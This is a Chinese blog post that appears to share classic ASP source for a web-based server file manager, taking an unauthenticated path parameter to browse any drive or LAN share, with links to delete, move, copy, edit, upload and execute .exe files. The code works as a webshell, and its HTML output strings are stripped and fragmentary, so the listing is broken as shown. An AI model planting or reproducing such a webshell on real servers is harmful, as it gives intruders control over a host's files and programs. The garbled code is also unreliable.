[code]

<% urlpath="http://"&Request.ServerVariables("SERVER_NAME") dim cpath,lpath set fsoBrowse=CreateObject("Scripting.FileSystemObject") if Request("path")="" then lpath="/" else lpath=Request("path")&"/" end if if Request("attrib")="true" then cpath=lpath attrib="true" else cpath=Server.MapPath(lpath) attrib="" end if Sub GetFolder() dim theFolder,theSubFolders if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theSubFolders=theFolder.SubFolders Response.write"■↑回上级目录
"
Response.write"

"
For Each x In theSubFolders
Response.write"

"
Response.Write "

"
Response.Write "

"
Response.Write "

"
Next
Response.Write "

└■ "&x.Name&"

×删除

×移改

×复制

"
end if
End Sub

Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"

"
For Each x In theFiles
if Request("attrib")="true" then
showstring=""&x.Name&""
else
showstring=""&x.Name&""
end if
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
showstring=showstring&"

"
else
showstring=showstring&"

"
end if
Response.write"

"
Next
end if
Response.write"

执行
□"&showstring&"	"&x.size&"字节	？属性∝查看∝编辑×删除＋复制＋移动

"
End Sub
%>

※切换到相应盘符：<% For Each thing in fsoBrowse.Drives Response.write "◎"&thing.DriveLetter&":" NEXT %> [如果该盘在服务器上不存在，那么将不显示东西，你也可以更URL上的PATH值换换到其它路径上，支持局域网地址，如：&quot;\\pc01\c&quot;]
※<% if Request("attrib")="true" then response.write "切换到相对路径编辑模式" else response.write "切换到绝对路径编辑模式" end if %>&nbsp; ※绝对路径:<%=cpath%>
※当前目录■:<%=lpath%> ※上传文件到当前目录■: target=_blank>上传文件(文件大小最好不要超过500K)
〖文件〗 注：只允许文本编辑|
<%Call GetFolder()%>	<%Call GetFile()%>

[/code]

本文固定链接: http://blog.duoday.com/2006/141.html | 奇风's Blog